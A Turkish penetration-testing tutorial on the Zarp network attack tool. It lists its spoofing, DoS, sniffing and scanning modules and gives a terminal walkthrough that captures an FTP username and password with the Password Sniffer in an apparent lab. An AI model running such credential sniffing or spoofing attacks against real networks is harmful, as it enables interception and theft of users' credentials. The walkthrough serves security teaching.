Zarp Kullanarak TCP/IP Protokol Zafiyetlerinin İstismarı

Zarp uygulaması python dili ile geliştirilmiş, açık kaynak kodlu,
uzaktan servis dışı bırakma(denial of service) saldırıları
gerçekleştirmede ve yerel ağlarda çeşitli saldırıların
gerçekleştirilmesinde kullanılabilecek bir network saldırı aracıdır.

Zarp sistem açıklıklarının istismarından ziyade network protokollerinin
zaafiyetlerini istismar ederek saldırılarını gerçekleştirmektedir.

Uygulama sahip olduğu aşağıdaki modüller ile çeşitli saldırılar gerçekleştirebilmektedir.
 
    [1] Poisoners           [5] Parameter
    [2] DoS Attacks      [6] Services
    [3] Sniffers              [7] Attacks 
    [4] Scanners            [8] Sessions

İlgili
modüllerden Poisoners modülü ile; ARP spoofing, DNS spoofing, DHCP
spoofing, NBNS poison, LLMNR spoofer ve ICMP redirection gibi
saldırıları gerçekleştirilebilmektedir. Özellikle yerel ağlarda
kullanılan temel protokol olan ARP protokolünün yapısal açıklıklarını
istismar ederek gerçekleştirdiği ARP poisoning ile yerel ağda istenilen
kullanıcılara ait trafiği yakalayabilir. Bu şekilde zarp ile üzerimizden
geçirdiğimiz local trafiğe hakim olduğumuz için çeşitli hassas
dosyaları ele geçirilebilmiş duruma gelmiş oluruz. DNS spoofing
saldırısı için öncelikle ARP spoofing yapılmış olması gerekmektedir.
DHCP spoofing işlemi ile yerel ağdaki DHCP OFFER ve DHCP ACK mesajlarını
dinleyen sahte bir DHCP server oluşturulur. İlgili mesajları dinleyerek
DHCP’den IP isteyen kullanıcılara bu IP adresleri sahte DHCP sunucu
üzerinden kiralanır.

DOS Attacks modülü ile çeşitli
servis dışı bırakma saldırıları(TCP SYN, Land DOS,  IPv6 Neighbor
Discovery Protocol RA DoS, Nestea DOS, SMB DOS v.s)
gerçekleştirilebilir.

Sniffers modülü ile, poisoning
işlemi sonrasında hassas verilerin ele geçirilmesinde kullanılacak
çeşitli methodlar bulunmaktadır. HTTP, Parola, Veritabanı sniffing gibi
modülleri ile çeşitli hassas bilgiler ele geçirilebilir. Packet modifier
modülü ile yakalanan paketler istenildiği gibi değiştirilebilir.

Scanners
modülü ile çeşitli yerel ağ taramaları gerçekleştirilebilmektedir.
Örneğin verilen bir subnette açık port ve servis taraması
yaptırılabilmektedir.

İlgili aracın kurulumu için git komutu ile uygulamaya ait dosyalar sistemimize kopyalanır;

root@pentest:~/celal# git clone git://github.com/hatRiot/zarp.git zarp/
Cloning into ‘zarp’…
remote: Counting objects: 1699, done.
remote: Compressing objects: 100% (869/869), done.
remote: Total 1699 (delta 814), reused 1692 (delta 807)
Receiving objects: 100% (1699/1699), 748.44 KiB | 388 KiB/s, done.
Resolving deltas: 100% (814/814), done.
root@pentest:~/celal# ls

Ardından dosyaların kopyalandığı zarp dizininde uygulamanın güncellemesi için aşağıdaki komut kullanılabilir;

root@pentest:~/celal/zarp# ./zarp.py –update
[!] Loaded 33 modules.
     ____   __   ____  ____
    (__  ) / _ (  _ (  _ ‘
     / _/ /    )   / ) __/
    (____)_/_/(___)(__)
        [Version 0.1.3]           
[!] Updating Zarp…
[!] Zarp already up to date.

Örnek
olarak Sniffers alt modüllerinden Password Sniffer modülünü kullanarak
yerel ağda yapılan bir FTP bağlantısının parolasını elde etmeyi
gösterelim. Bunun için aşağıdaki yol takip edilebilir.

Uygulama aşağıdaki komutla başlatırlır. Ekrana kullanılabilecek tüm modüllere ait kategori listesi gelecektir.

root@pentest:~/celal/zarp# ./zarp.py
[!] Loaded 33 modules.
     ____   __   ____  ____
    (__  ) / _ (  _ (  _ ‘
     / _/ /    )   / ) __/
    (____)_/_/(___)(__)
        [Version 0.1.3]           
    [1] Poisoners        [5] Parameter
    [2] DoS Attacks      [6] Services
    [3] Sniffers         [7] Attacks 
    [4] Scanners         [8] Sessions

0) Back

Yukarıdaki ekrandan 3 numaralı Sniffers kategorisine giriyoruz.;

> 3
    [1] HTTP Sniffer
    [2] Password Sniffer
    [3] Traffic Sniffer
    [4] Database Sniffer
    [5] Packet Modifier

0) Back

Ardından
sniff edilecek interface seçilir, ön tanımlı olarak listedeki ilk
interface seçilmiş olur. Bu interface dinlenecek ise enter ile
geçilebilir ardıdan doğruluğunu onaylamak için y ile bir sonraki adıma
geçilebilir. Ardından aşağıdaki ekrandan 0 ile ana ekrana geçilir.

> 2
[!] Enter address to listen on [5.5.5.4]:
[!] Sniff passwords from 5.5.5.4.  Is this correct? y
    [1] HTTP Sniffer
    [2] Password Sniffer
    [3] Traffic Sniffer
    [4] Database Sniffer
    [5] Packet Modifier

0) Back
> 0
     ____   __   ____  ____
    (__  ) / _ (  _ (  _ ‘
     / _/ /    )   / ) __/
    (____)_/_/(___)(__)
        [Version 0.1.3]           
    [1] Poisoners        [5] Parameter
    [2] DoS Attacks      [6] Services
    [3] Sniffers         [7] Attacks 
    [4] Scanners         [8] Sessions

0) Back

Buradan 8 ile mevcut başlattığımız saldırılara ait sessionları görüntülemek için 8 ile çalışan sessionlar listelenebilir.

> 8

    [Running sessions]
[1] Password Sniffer
    [0] 5.5.5.4

    [1] Stop session
    [2] View session
    [3] Start session logger
    [4] Stop session logger

0) Back
Görüldüğü
gibi Passwords snifferin ilgili interface üzerinde çalışmaktadır. 2 ile
mevcut oturumu görüntüleyebiliriz. Bu arada komut satırından aşağıdaki
gibi hedef bir sisteme FTP bağlantısı kurmaya çalışalım.

root@pentest:~# ftp 20.20.20.130
Connected to 20.20.20.130.
220 MikroTik FTP server (MikroTik 3.30) ready
Name (20.20.20.130): ftpadmin
331 Password required for ftpadmin
Password:
530 Login incorrect
Login failed.
Remote system type is UNIX.
ftp> 

Aşağıda görüldüğü üzere password sniffer modülü ile ilgili kullanıcı hesabını ele geçirebilmiş oluyoruz.

> 2
[module] [number]> 1 0
[!] [enter] when finished
[!] Dumping output from ‘Password Sniffer’…
[!] Host: 20.20.20.130
[!] User: ftpadmin
[!] Password: P@ssw0rd

Benzer yol kullanılarak diğer modüllerde kullanılabilir. Detaylı bilgi için uygulamanın yardım sayfası incelenebilir.

Celal ERDİK <celal.erdik@bga.com.tr>